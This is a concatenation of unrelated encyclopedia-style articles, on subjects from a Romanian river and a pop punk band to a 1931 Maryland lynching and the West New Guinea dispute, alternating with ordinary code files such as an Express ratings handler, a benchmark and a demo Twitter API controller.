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The Sârbi () is a right tributary of the river Mureș in Romania. It discharges into the Mureș near Ilia. Its length is and its basin size is . References Rivers of Romania Rivers of Hunedoara County
Farewell is an American pop punk band formed in 2004 in Greensboro, North Carolina. They were signed to Epitaph Records releasing two CDs. After fulfilling their contractual obligations with the release of their second CD, the relationship with Epitaph ended. History The band released its debut EP on May 24, 2005, entitled Poisoning the Lark, on Forsaken Records. After posting new tracks on their MySpace page, Farewell was scouted by the owner of Epitaph Records, Brett Gurewitz who offered them a deal in March 2007. Preceded by the single "First One on the Blog" in August 2007, the band's first full-length album, Isn't This Supposed to Be Fun? appeared on the label on September 25, 2007. On October 10, 2007, a music video was released for "First One on the Blog". The album was released in The UK on February 4, 2008. Farewell was slated to tour the UK with Cartel in 2008, but the tour was cancelled. In June and July 2008, the band appeared on the Warped Tour. They then proceeded to tour the UK with You Me at Six and Houston Calls in October 2008. Farewell cites punk rock bands such as Green Day, Jawbreaker and Alkaline Trio as influences. On July 25, 2008, Chris Lee left the band. On April 22, 2009, Kevin Carter was named The Triad's Best Guitarist of 2009 in YES! Weekly's reader's choice awards. In May 2009, the band supported Amber Pacific on their headlining US tour. Their second album entitled Run It Up the Flagpole was released on September 1, 2009. After a hiatus in 2010, Farewell announced on October 16, 2011 that they are working on a new album to be released in the winter of 2012. Farewell once again began writing new material in the summer of 2013, though no new release date has been confirmed from the band. Discography Albums and EPs Singles References External links Farewell's page on Epitaph American power pop groups Musical groups from North Carolina American pop punk groups
```xml import { Response } from "express"; import Joi from "joi"; import { roundRating } from "coral-common/common/lib/utils"; import { AppOptions } from "coral-server/app"; import { validate } from "coral-server/app/request/body"; import { retrieveStoryRatings } from "coral-server/models/comment"; import { resolveStoryMode } from "coral-server/models/story"; import { hasFeatureFlag } from "coral-server/models/tenant"; import { find } from "coral-server/services/stories"; import { RequestHandler, TenantCoralRequest } from "coral-server/types/express"; import { GQLFEATURE_FLAG, GQLSTORY_MODE, } from "coral-server/graph/schema/__generated__/types"; const StoryRatingsQuerySchema = Joi.object() .keys({ callback: Joi.string().allow("").optional(), id: Joi.string().optional(), url: Joi.string().optional(), }) .or("id", "url"); interface StoryRatingsQuery { callback: string; id?: string; url?: string; } interface StoryRatingsData { story: { id: string; url: string; ratings: { average: number; count: number; }; } | null; } function respond(res: Response, story: StoryRatingsData["story"]) { res.jsonp({ story: story ? { id: story.id, url: story.url, ratings: { average: roundRating(story.ratings.average), count: story.ratings.count, }, } : null, }); } export const ratingsJSONPHandler = ({ mongo }: AppOptions): RequestHandler<TenantCoralRequest> => async (req, res, next) => { const { tenant } = req.coral; try { // Ensure the feature flag is enabled. if (!hasFeatureFlag(tenant, GQLFEATURE_FLAG.ENABLE_RATINGS_AND_REVIEWS)) { return respond(res, null); } // Ensure we have something to query with. const { id, url }: StoryRatingsQuery = validate( StoryRatingsQuerySchema, req.query ); const story = await find(mongo, tenant, { id, url, }); if (!story) { return respond(res, null); } if ( resolveStoryMode(story.settings, tenant) !== GQLSTORY_MODE.RATINGS_AND_REVIEWS ) { return respond(res, null); } const ratings = await retrieveStoryRatings(mongo, tenant.id, story.id); return respond(res, { id: story.id, url: story.url, ratings }); } catch (err) { return res.status(400).end(); } }; ```
```javascript /** * @license Apache-2.0 * * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ 'use strict'; // MODULES // var bench = require( '@stdlib/bench' ); var isBoolean = require( '@stdlib/assert/is-boolean' ).isPrimitive; var pkg = require( './../package.json' ).name; var isKebabcase = require( './../lib' ); // MAIN // bench( pkg, function benchmark( b ) { var values; var bool; var i; values = [ 'foo-bar', 'foo-bar-baz', 'FOO_BAR', 'foo_bar', 'beepBoop', 'beep boop', 123, '', void 0, null, true, false, [], {} ]; b.tic(); for ( i = 0; i < b.iterations; i++ ) { bool = isKebabcase( values[ i % values.length ] ); if ( typeof bool !== 'boolean' ) { b.fail( 'should return a boolean' ); } } b.toc(); if ( !isBoolean( bool ) ) { b.fail( 'should return a boolean' ); } b.pass( 'benchmark finished' ); b.end(); }); ```
```xml <?xml version="1.0" encoding="utf-8"?> <resources xmlns:tools="path_to_url" tools:ignore="ImpliedQuantity, ExtraTranslation, MissingTranslation"> <string name="discard"></string> <string name="action_long"> </string> <string name="cancel"></string> <string name="cancel_long"> </string> <string name="dialog_title"> </string> <string name="dialog_text"> </string> <string name="dialog_text_long"> </string> </resources> ```
"Aromatoleum" is a genus of bacteria capable of microbial biodegradation of organic pollutants. It has one single described species member, A. aromaticum, for which the only strain is strain EbN1. This taxonomy is accepted by the NCBI taxonomy database, and consequently by many bioinformatic databases. However, the strain EbN1 has not been described in detail, therefore, according to the International Code of Nomenclature of Bacteria, the name "Aromatoleum aromaticum" is not valid and should be officially referred to as Azoarcus sp. EbN1 as it belongs to the Azoarcus/Thauera cluster. The discovery of the strain was published in 1995, and was subsequently referred to in the literature as "Aromatoleum aromaticum" and cited as "(Rabus, unpublished data)". A. aromaticum strain EbN1 has been fully sequenced by the same researchers who discovered it and coworkers. It has one chromosome and two plasmids, encoding for 10 anaerobic and 4 aerobic aromatic degradation pathways. The genome is rich in paralogous gene clusters, mobile gene elements, and genes similar to that from other bacteria, suggesting a history full of horizontal gene transfer events. The bacterium has a well-regulated metabolic network. Unlike many species in Azoarcus proper, it is incapable of fixing nitrogen. References Biodegradation Bacteria genera Monotypic bacteria genera
Matthew Williams (February 8, 1908 – December 4, 1931) was a black man lynched by a white mob in Salisbury, Maryland on December 4, 1931. Introduction Matthew Williams was born on February 8, 1908, the second and youngest child of Annie Handy and Harry Williams. Following the death of his mother from pneumonia when he was just 4 years old, he and his sister Olivia were sent to live with their maternal grandmother, Mary Handy, in Salisbury, Maryland. Shortly after starting school in Maryland at the age of 8, Matthew's father died. By age 14, his grandfather also died, forcing Matthew to leave school and seek employment to help the family earn a living. Upon the death of his grandmother, Matthew went to live on Isabella Avenue in the black district of Salisbury with his maternal Aunt, Addie Black, and her husband Thomas Black Sr.; along with his cousins Viola, Thomas Jr. Preston, Edna, and Mary. His Aunt Addie called him "Buddie". At some point in his teenage years, Matthew Williams went to work for a local white employer - one Mr. Daniel J. Elliott - who owned a lumberyard and box factory in town. Matthew worked as a laborer in the factory, but also did odd jobs for the Elliott family. According to known accounts, the Elliott family were "quite fond of Williams, and he of them". In her book, On The Courthouse Lawn, professor and civil rights lawyer Sherrilyn Ifill wrote of Matthew Williams: The last time his family saw Matthew alive was in the afternoon of December 4, 1931. After playing with his cousins, Matthew announced to his aunt that he was going to work. By that evening, Daniel J. Elliott was dead and Matthew Williams was in the hospital. The official story goes that Matthew Williams went to his employer's office, and the two began arguing over wages. At some point in the argument, Matthew Williams shot Daniel Elliott, then turned the gun on himself, unsuccessfully. Daniel Elliott's son, James Elliott, was reported to have found the two, and using the gun fired two more shots at Matthew Williams, wounding him in the chest and leg. The 1970's biography of Dorchester County waterman Joseph L. Sutton recounts a different story: Williams was taken to Peninsula General Hospital (now Peninsula Regional Medical Center), where he was placed in the "Negro Ward" in a straitjacket, and his head bandaged so that he could not see. Lynching What happened next was described by one Mr. Howard A. Nelson, a light-skinned man of color visiting from Philadelphia. His account from the Baltimore Afro-American: The following is from the edition of December 5 of the Baltimore Post:The size of the mob was further corroborated in a report by The Baltimore SunSometime the following year, the Baltimore Afro-American received an account from an unidentified eyewitness to the murder of Matthew Williams: Historical Significance Legacy/Aftermath Despite the size of the mob and the preponderance of eye-witnesses, no one was ever identified or prosecuted for the lynching of Matthew Williams. After a year long probe by MD. State Attorney General William Preston Lane at the behest of Governor Albert Ritchie, it was concluded (as reported in the Baltimore Post on March 19, 1932) that:Matthew Williams one of three lynchings that took place in Salisbury, Maryland. The others were an unknown victim in the days following William's murder, and Garfield King in May 1898. He was one of seven known lynchings on the Eastern Shore of Maryland, and one of 29 recorded in the state of Maryland. The Second Victim: In the days following Matthew Williams murder, a second victim of mob violence was found in Salisbury. This from the edition of December 12, 1931 of the Baltimore Afro-American: References External links Segment on Williams 5:27-17:54. 1931 deaths 1931 murders in the United States Lynching deaths in Maryland Murdered African-American people People from Salisbury, Maryland 1908 births
```shell Pushing tags to a server What is stored in a commit? Make your log output pretty Search by commit message keyword Ignore files in git ```
Redemptoris Custos (Guardian of the Redeemer) is the title of an apostolic exhortation by Pope John Paul II on Saint Joseph. It was delivered on August 15, 1989 in Saint Peter's Basilica in Rome on the occasion of the centenary of Pope Leo XIII's encyclical Quamquam pluries. It discusses the importance of Saint Joseph in the Holy Family, and presents the pope's view of Saint Joseph's role in the plan of redemption. John Paul II positions Saint Joseph as breaking the old vice of paternal familial domination, and suggests him as the model of a loving father. Noted Josephologist, Father Tarcisio Stramare, of the Oblates of Saint Joseph, was a main collaborator in the preparation of Redemptoris Custos. This exhortation is part of the "redemption documents" issued by Pope John Paul II, and refers to the Marian encyclical Redemptoris Mater. Content In this document, John Paul II reemphasized key elements of Quamquam Pluries regarding the position of St. Joseph in the Church and his connection to Mary, which he had already acknowledged in his encyclical Redemptoris Mater. He wrote: "Together with Mary, Joseph is the first guardian of this divine mystery. Together with Mary, and in relation to Mary, he shares in this final phase of God's self-revelation in Christ and he does so from the very beginning." "The Gospels clearly describe the fatherly responsibility of Joseph toward Jesus. For salvation-which comes through the humanity of Jesus-is realized in actions which are an everyday part of family life... All of the so-called "private" or "hidden" life of Jesus is entrusted to Joseph's guardianship. " Pope John Paul II pointed out that as legal guardian of the child Jesus, Joseph fulfilled all the obligations that entailed: in having his son circumcised according to the law, in conferring a name upon him, and in presenting him in the Temple at the prescribed time. The growth of Jesus "in wisdom and in stature, and in favor with God and man" (Lk 2:52) took place within the Holy Family under the eyes of Joseph, who had the important task of "raising" Jesus, that is, feeding, clothing and educating him in the Law and in a trade, in keeping with the duties of a father. ...For his part, Jesus "was obedient to them" (Lk 2:51), respectfully returning the affection of his 'parents'. In this way he wished to sanctify the obligations of the family and of work, which he performed at the side of Joseph. The Church venerates the Holy Family, and proposes it as the model of all families. "In this family, Joseph is the father: his fatherhood is not one that derives from begetting offspring; but neither is it an "apparent" or merely "substitute" fatherhood. Rather, it is one that fully shares in authentic human fatherhood and the mission of a father in the family. "What is crucially important here is the sanctification of daily life, a sanctification which each person must acquire according to his or her own state, and one which can be promoted according to a model accessible to all people." John Paul II then quoted his predecessor, Pope Paul VI. "St. Joseph is the model of those humble ones that Christianity raises up to great destinies;...he is the proof that in order to be a good and genuine follower of Christ, there is no need of great things-it is enough to have the common, simple and human virtues, but they need to be true and authentic." Recalling Quamquam pluries, Pope John Paul II again stressed that the Church has implored the protection of Saint Joseph on the basis of "that sacred bond of charity which united him to the Immaculate Virgin Mother of God," and that the Church has commended to Joseph all of her cares, including those dangers which threaten the human family. "Besides trusting in Joseph's sure protection, the Church also trusts in his noble example, which transcends all individual states of life and serves as a model for the entire Christian community, whatever the condition and duties of each of its members may be." See also Josephology Quamquam Pluries Redemptoris Mater References External links Vatican website: Redemptoris custos Catholic spirituality Documents of Pope John Paul II Saint Joseph (husband of Mary) 1989 in Christianity 1989 documents
```java /** * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package org.thingsboard.server.dao.model.sql; import lombok.AllArgsConstructor; import lombok.Data; import java.util.UUID; @Data @AllArgsConstructor public class WidgetTypeIdFqnEntity { private UUID id; private String fqn; } ```
```javascript import TWITTER_CONSTANTS from "../../Constants/twitter.constants.js"; const demoUser = { id: 1, id_str: "1", name: "demo name", screen_name: "test", location: "", description: "demo description", url: "demo-url", entities: { url: { urls: [], }, description: { urls: [], }, }, protected: false, followers_count: 1, friends_count: 1, listed_count: 1, created_at: "Tue Apr 29 14:12:10", favourites_count: 1, utc_offset: null, time_zone: null, geo_enabled: true, verified: true, statuses_count: 1, lang: null, status: { created_at: "Tue Sep 21 11:37:16", id: 1, id_str: "1", text: "demo text", truncated: true, entities: { hashtags: [], symbols: [], user_mentions: [], urls: [], }, source: "demo", in_reply_to_status_id: null, in_reply_to_status_id_str: null, in_reply_to_user_id: null, in_reply_to_user_id_str: null, in_reply_to_screen_name: null, geo: null, coordinates: null, place: null, contributors: null, is_quote_status: false, retweet_count: 0, favorite_count: 1, favorited: false, retweeted: false, possibly_sensitive: false, lang: "en", }, contributors_enabled: false, is_translator: false, is_translation_enabled: false, profile_background_color: "000000", profile_background_image_url: "demo", profile_background_image_url_https: "demo", profile_background_tile: false, profile_image_url: "demo", profile_image_url_https: "demo", profile_banner_url: "demo", profile_link_color: "FFFFFF", profile_sidebar_border_color: "FFFFFF", profile_sidebar_fill_color: "FFFFFF", profile_text_color: "000000", profile_use_background_image: true, has_extended_profile: false, default_profile: false, default_profile_image: false, following: false, follow_request_sent: false, notifications: false, translator_type: "none", withheld_in_countries: [], }; const demoTweets = { created_at: "Mon Sep 20 13:43:03", id: 1, id_str: "1", text: "demo text", truncated: false, entities: { hashtags: [], symbols: [], user_mentions: [], urls: [], media: [], }, extended_entities: { media: [], }, source: "demo", in_reply_to_status_id: null, in_reply_to_status_id_str: null, in_reply_to_user_id: null, in_reply_to_user_id_str: null, in_reply_to_screen_name: null, user: demoUser, geo: null, coordinates: null, place: null, contributors: null, is_quote_status: false, retweet_count: 1, favorite_count: 1, favorited: false, retweeted: false, possibly_sensitive: false, lang: "en", }; class DemoController { async getTrendsAvailable(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo available places' */ /* #swagger.security = [{ "AccessToken": [] }] */ try { return res.status(200).json([ { name: TWITTER_CONSTANTS.DEMO_COUNTRY, placeType: { code: TWITTER_CONSTANTS.COUNTRY_CODE, name: "Country" }, url: "path_to_url", parentid: 1, country: TWITTER_CONSTANTS.DEMO_COUNTRY, woeid: TWITTER_CONSTANTS.DEMO_WOEID, countryCode: "DEMO", }, ]); } catch (error) { return res.status(500).json(error); } } async getTrendsPlaces(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo trends by place woeid' */ /* #swagger.security = [{ "AccessToken": [] }] */ try { if ( !req.query.id || req.query.id !== String(TWITTER_CONSTANTS.DEMO_WOEID) ) { return res.status(404).json({ errors: [ { code: 34, message: "Sorry, that page does not exist.", }, ], }); } return res.status(200).json([ { trends: [ { name: "Demo", url: "path_to_url", promoted_content: null, query: "query", tweet_volume: null, }, ], as_of: new Date().toISOString(), created_at: new Date().toISOString(), locations: [ { name: TWITTER_CONSTANTS.DEMO_COUNTRY, woeid: TWITTER_CONSTANTS.DEMO_WOEID, }, ], }, ]); } catch (error) { res.status(500).json(error); } } searchUsers(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo found users */ /* #swagger.security = [{ "AccessToken": [] }] */ try { return res.status(200).json([demoUser]); } catch (error) { return res.status(500).json(error); } } getUserTweets(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo user tweets */ /* #swagger.security = [{ "AccessToken": [] }] */ try { const { screen_name } = req.query; if (screen_name !== demoUser.screen_name) { return res.status(404).json({ errors: [ { code: 34, message: "Sorry, that page does not exist.", }, ], }); } return res.status(200).json([demoTweets]); } catch (error) { return res.status(500).json(error); } } createFriendShips(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo new friend */ /* #swagger.security = [{ "AccessToken": [] }] */ try { const { screen_name, user_id } = req.body; if (user_id && user_id !== TWITTER_CONSTANTS.DEMO_TWITTER_ACCOUNT_ID) { return res.status(403).json({ errors: [ { code: 108, message: "Cannot find specified user.", }, ], }); } if (screen_name && screen_name !== demoUser.screen_name) { return res.status(403).json({ errors: [ { code: 108, message: "Cannot find specified user.", }, ], }); } return res.status(200).json(demoUser); } catch (error) { return res.status(500).json(error); } } destroyFriendShips(req, res) { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo destroyed friend */ /* #swagger.security = [{ "AccessToken": [] }] */ try { const { screen_name, user_id } = req.body; if (user_id && user_id !== TWITTER_CONSTANTS.DEMO_TWITTER_ACCOUNT_ID) { return res.status(403).json({ errors: [ { code: 108, message: "Cannot find specified user.", }, ], }); } if (screen_name && screen_name !== demoUser.screen_name) { return res.status(403).json({ errors: [ { code: 108, message: "Cannot find specified user.", }, ], }); } return res.status(200).json(demoUser); } catch (error) { return res.status(500).json(error); } } friendsList(req, res) { try { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo friends list */ /* #swagger.security = [{ "AccessToken": [] }] */ return res.status(200).json({ users: [demoUser], next_cursor: -1, next_cursor_str: "-1", previous_cursor: 0, previous_cursor_str: "0", total_count: null, }); } catch (error) { return res.status(500).json(error); } } followersList(req, res) { try { /* #swagger.tags = ['Demo Twitter API'] #swagger.description = 'Returns demo followers list */ /* #swagger.security = [{ "AccessToken": [] }] */ return res.status(200).json({ users: [demoUser], next_cursor: -1, next_cursor_str: "-1", previous_cursor: 0, previous_cursor_str: "0", total_count: null, }); } catch (error) { return res.status(500).json(error); } } getReqAccessToken(req) { return req.headers.authorization.split("Bearer ")[1]; } } export default new DemoController(); ```
```javascript /** * @license Apache-2.0 * * * * path_to_url * * Unless required by applicable law or agreed to in writing, software * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ 'use strict'; module.exports = '<svg xmlns:xlink="path_to_url" width="24.594ex" height="6.343ex" style="vertical-align: -2.838ex;" viewBox="0 -1508.9 10589 2730.8" role="img" focusable="false" xmlns="path_to_url" aria-labelledby="MathJax-SVG-1-Title">\n<title id="MathJax-SVG-1-Title">e r f left-parenthesis x right-parenthesis equals StartFraction 2 Over StartRoot pi EndRoot EndFraction integral Subscript 0 Superscript x Baseline e Superscript minus t squared Baseline normal d t period</title>\n<defs aria-hidden="true">\n<path stroke-width="1" id="E1-MJMAIN-65" d="M28 218Q28 273 48 318T98 391T163 433T229 448Q282 448 320 430T378 380T406 316T415 245Q415 238 408 231H126V216Q126 68 226 36Q246 30 270 30Q312 30 342 62Q359 79 369 104L379 128Q382 131 395 131H398Q415 131 415 121Q415 117 412 108Q393 53 349 21T250 -11Q155 -11 92 58T28 218ZM333 275Q322 403 238 411H236Q228 411 220 410T195 402T166 381T143 340T127 274V267H333V275Z"></path>\n<path stroke-width="1" id="E1-MJMAIN-72" d="M36 46H50Q89 46 97 60V68Q97 77 97 91T98 122T98 161T98 203Q98 234 98 269T98 328L97 351Q94 370 83 376T38 385H20V408Q20 431 22 431L32 432Q42 433 60 434T96 436Q112 437 131 438T160 441T171 442H174V373Q213 441 271 441H277Q322 441 343 419T364 373Q364 352 351 337T313 322Q288 322 276 338T263 372Q263 381 265 388T270 400T273 405Q271 407 250 401Q234 393 226 386Q179 341 179 207V154Q179 141 179 127T179 101T180 81T180 66V61Q181 59 183 57T188 54T193 51T200 49T207 48T216 47T225 47T235 46T245 46H276V0H267Q249 3 140 3Q37 3 28 0H20V46H36Z"></path>\n<path stroke-width="1" id="E1-MJMAIN-66" d="M273 0Q255 3 146 3Q43 3 34 0H26V46H42Q70 46 91 49Q99 52 103 60Q104 62 104 224V385H33V431H104V497L105 564L107 574Q126 639 171 668T266 704Q267 704 275 704T289 705Q330 702 351 679T372 627Q372 604 358 590T321 576T284 590T270 627Q270 647 288 667H284Q280 668 273 668Q245 668 223 647T189 592Q183 572 182 497V431H293V385H185V225Q185 63 186 61T189 57T194 54T199 51T206 49T213 48T222 47T231 47T241 46T251 46H282V0H273Z"></path>\n<path stroke-width="1" id="E1-MJMAIN-28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path>\n<path stroke-width="1" id="E1-MJMATHI-78" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 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Alexis Creek is an unincorporated community in the Chilcotin District of the western Central Interior of the Canadian province of British Columbia, on Highway 20 between Williams Lake and Bella Coola. The creek is named, like the adjacent lake of the same name, for a colonial-era chief of the Tsilhqot'in people, Alexis, who figured in the story of the Chilcotin War of 1864 (though as a non-combatant). The small unincorporated settlement of Alexis Creek has the following services: British Columbia Forestry Service (now BC Ministry of Forests, Lands, Natural Resources Operations, and Rural Development) field office, the Alexis Creek School (elementary grades), a highways maintenance yard, a small detachment of the Royal Canadian Mounted Police, the Happy Eater restaurant, the Doodle Bugs café, Doug's Repair (automotive servicing, parts, tires, and supplies), a provincial medical clinic (operated by Interior Health), the Alexis Creek General Store (groceries, sundries, mailboxes), and a dispatch station of the British Columbia Ambulance Service. Since the early 2000s, Alexis Creek has also been home to the Ravens Unit Crew, originally an all-first-nations wildland fire crew. All of the crew members live in the community seasonally and comprise the only permanently stationed, professional fire crew west of the Fraser River. Climate See also Alexis Creek First Nation (Chilanko Forks) Tl'etinqox-t'in Government Office (located in Alexis Creek) References External links britishcolumbia.com article on Alexis Creek Indian reserves in British Columbia Unincorporated settlements in British Columbia Designated places in British Columbia Populated places in the Chilcotin Tsilhqot'in communities
The West New Guinea dispute (1950–1962), also known as the West Irian dispute, was a diplomatic and political conflict between the Netherlands and Indonesia over the territory of Dutch New Guinea. While the Netherlands had ceded sovereignty over most of the Dutch East Indies to Indonesia on 27 December 1949 following an independence struggle, it retained control over its colony on the western half of New Guinea. The Indonesian government claimed this territory as well, on the basis that it had belonged to the Dutch East Indies and that the new Republic of Indonesia was the legitimate successor to the former Dutch colony. During the first phase of the dispute (1950–1954), Indonesia pursued bilateral negotiations with the Netherlands. During the second phase (1954–1958), Indonesia attempted to raise support for its territorial claims in the United Nations General Assembly. During the third phase (1960–1962), Indonesia pursued a policy of confrontation against the Netherlands which combined diplomatic, political, and economic pressure with limited military force. The final stage of the confrontation with Indonesia also involved a planned military invasion of the territory. The Indonesians also secured military weapons and political and military support from the Soviet Union, which induced the United States to intervene in the conflict as a third-party mediator between Indonesia and the Netherlands. Following the New York Agreement on 15 August 1962, the Netherlands, under U.S. pressure, handed West New Guinea over to a United Nations Temporary Executive Authority, which subsequently handed the territory over to Indonesia on 1 May 1963. Following a controversial plebiscite in 1969, West New Guinea was formally integrated into Indonesia. Historical background Origins Prior to the arrival of the Dutch, Indonesian principalities such as the Sultanate of Bacan, the Sultanate of Ternate and the Sultanate of Tidore claimed suzerainty over parts of Western New Guinea. These sultanates collected tributes from local rulers in the form of massoy, nutmeg, turtle shell, other spices, bird of paradise feathers, resins, and slaves or their value equivalence in other goods, which if not fulfilled will be punished by a hongi expedition, usually by other rulers on behalf of the sultan. In 1828, the Netherlands established a settlement in Western New Guinea and also proclaimed sovereignty over the part of the island lying west of 141 degrees longitude. Considering that New Guinea had little economic value for them, the Dutch promoted Tidore as suzerain of Papua. By 1849, Tidore's borders had been extended to the proximity of the current international border between Indonesia and Papua New Guinea. Dutch activity in New Guinea was minimal until 1898 when the Dutch established an administrative centre, which was subsequently followed by missionaries and traders. Under Dutch rule, commercial links were developed between West New Guinea and Eastern Indonesia. In 1883, New Guinea was divided between the Netherlands, Britain, and Germany; with Australia occupying the German territory in 1914. In 1901, the Netherlands formally purchased West New Guinea from the Sultanate of Tidore, incorporating it into the Netherlands East Indies. During World War Two, Western New Guinea was occupied by the Japanese but was later recaptured by the Allies, who restored Dutch rule over the territory. Following the Indonesian National Revolution, the Netherlands formally transferred sovereignty to the United States of Indonesia, the successor state to the Netherlands East Indies, on 27 December 1949. However, the Dutch refused to include Netherlands New Guinea in the new Indonesian Republic and took steps to prepare it for independence as a separate country. Following the failure of the Dutch and Indonesians to resolve their differences over West New Guinea during the Dutch-Indonesian Round Table Conference in late 1949, it was decided that the present status quo of the territory would be maintained and then negotiated bilaterally one year after the date of the transfer of sovereignty. However, both sides were still unable to resolve their differences in 1950, which led the Indonesian President Sukarno to accuse the Dutch of reneging on their promises to negotiate the handover of the territory. On 17 August 1950, Sukarno dissolved the United States of Indonesia and proclaimed the unitary Republic of Indonesia. Competing claims The Dutch argued that the territory did not belong to Indonesia because the Melanesian Papuans were ethnically and geographically different from other Indonesians, had always been administrated separately, did not participate in the Indonesian Revolution and that the Papuans did not want to be under Indonesian control. According to the political scientist Arend Lijphart, other underlying Dutch motives included West New Guinea's lucrative economic resources, its strategic importance as a Dutch naval base, and its potential role for housing the Netherlands' surplus population including Eurasians who had become displaced by the Indonesian Revolution. The Dutch also wanted to maintain a regional presence and to secure their economic interests in Indonesia. On the other hand, Indonesia regarded West New Guinea as an intrinsic part of the country on the basis that Indonesia was the successor state to the Dutch East Indies. A number of Papuans participated in the momentous 1928 Youth Pledge, which is the first proclamation of an "Indonesian identity" which symbolically was attended by numerous ethnic youth groups from all over Indonesia. Indonesian irredentist sentiments were also inflamed by the fact that several Indonesian political prisoners (mainly leftist and communist from the failed 1926 uprising) had been interned at a remote prison camp north of Merauke called Boven-Digoel in 1935 prior to World War II. They made contact with many Papuan civil servants which formed Indonesian revolution groups in Papua. Some support also came from native kingdoms mainly around Bomberai Peninsula which had extensive relationship with Sultanate of Tidore, these efforts was led by Machmud Singgirei Rumagesan, King of Sekar in the region's western part. These sentiments were also reflected in the popular Indonesian revolutionary slogan Indonesia Merdeka — dari Sabang sampai Merauke ("Free Indonesia — from Sabang to Merauke"). The slogan indicates the stretch of Indonesian territory from the most western part in Sumatra, Sabang, and the most eastern part in Merauke, a small city in West New Guinea. Sukarno also contended that the continuing Dutch presence in West New Guinea was an obstacle to the process of nation-building in Indonesia and that it would also encourage secessionist movements. The political dimension Local Indonesian nationalist movement In 1944, Jan van Eechoud set up a school for bureaucrats in Hollandia (now Jayapura). One early headmaster of the school was Soegoro Atmoprasojo, an Indonesian nationalist graduate of Taman Siswa and former Boven-Digoel prisoners who fled to Australia after Japanese occupation, he later on tried to revolt on 31 December 1945 which failed. Many of these school early graduates and former associates of Soegoro would go on to found Indonesian independence movement in Western New Guinea, while some also go on to support Dutch authorities and pursue Papuan independence. The news of Indonesian independence proclamation arrived in New Guinea primarily through shipping laborers associated with Sea Transport Union of Indonesia (Sarpelindo), who were working for ships under the flag of Australian and Dutch. This led to the formation of the Committee on Indonesian Independence (KIM) in Abepura (currently in Jayapura) in October 1946. Originally it was led by J.A. Gerungan, a woman doctor who at that time led a hospital in Abepura-Hollandia. In December 1946, the leadership of KIM Jayapura changed to be led by Martin Indey, a former colonial police who were former prison guard of Soegoro. His deputy was Corinus Krey while the secretary is Petrus Walebong. KIM was one of the first Indonesian nationalist groups in New Guinea, whose members were mostly former associates of Soegoro. Simultaneously another separate Indonesian nationalist movement in New Guinea formed when G.S.S.J. Ratulangie, was exiled at Serui, along with his six staff by NICA on 5 July 1946. In this exile he met with Silas Papare, who was also exiled there due to his participation in Soegoro's revolt on 31 December 1945. This meeting resulted in the formation of an organization called Indonesian Irian Independence Party (PKII) on 29 November 1946. PKII was led by Silas Papare, alongside Alwi Rahman as chiefs, Ari Kamarea, Andarias Samberi as secretaries, and Thung Tjing Ek as treasurer. A year later, on 17 August 1947, Silas Papare and former students of Soegoro, including Albert Karubuy, Marthen Indey, Johans Ariks, Lodewijk Mandatjan, Barent Mandatjan, Semuel Damianus Kawab, Franz Joseph Djohari and their supporters would held a red and white flag-raising ceremony to commemorate the Indonesian independence day. KIM and PKII members began to start movements in other areas of New Guinea, most of these were unsuccessful, and the perpetrators were either imprisoned or killed. In Manokwari, a movement called Red and White Movement (GMP) was founded, which was led by Petrus Walebong and Samuel D. Kawab. This movement later spread to Babo, Kokas, Fakfak, and Sorong. In Biak, a local branch of KIM was transformed into Party of Indonesian Independence (PIM) under the head of Lukas Rumkorem. Lukas would be captured and exiled to Hollandia, with the charge he instigated violence among local population. Still the movement did not disappear in Biak, Stevanus Yoseph together with Petero Jandi from Palombangkeng, Terianus Simbiak, Honokh Rambrar, Petrus Kaiwai and Hermanus Rumere on 19 March 1948, instigated another revolt. The Dutch authorities had to send reinforcements from Jayapura. The Dutch imposed a harder penalty, with capital punishment for Petero Jandi, and live sentence to Stevanus Yoseph. In Sorong, a revolt happened under the movement of Pioneers of Independence Organization in 1946. This organization formed by former Heiho was led by Sangaji Malan. Meanwhile, besides pioneers of independence organization and the branch of PKII groups, another organization was formed on the 17 August 1947, called the Association of Young Men of Indonesia (PPI) under the leadership of Abraham Koromath. Around the Bomberai Peninsula area of Fakfak, specifically in Kokas, Indonesian nationalism emerged under the King Al-Alam Ugar Sekar, Machmud Singgirei Rumagesan. He had history of disobedience against the Dutch authorities and was imprisoned in Hollandia. In prison, he managed to write a letter to Husni Thamrin, a member of Volksraad in Batavia and influential veteran member of Indonesian nationalist, who succeeded in convincing the court to release him. On 1 March 1946, he ordered that all the Dutch's flags in Kokas to be changed into Indonesian flags. The Dutch authorities later aided with incoming troops from Sorong arrested the King Rumagesan and he was given capital punishment, although later commuted to live imprisonment under popular demands. In 1946 in Kaimana, son of commissioned King of Sran, Muhammad Achmad Aituarauw founded an organization called Independence With Kaimana, West Irian (MBKIB). Through MBKIB, the people boycotted the celebration of Queen Wilhelmina anniversary every 31 August. In response of this activity, Aituarauw was arrested by the Dutch and was exiled to Ayamaru for 10 years in 1948. Other movements opposing the Dutch under local Papuan kings includes, New Guinea Islamic Union (KING) led by Ibrahim Bauw, King of Rumbati, Gerakan 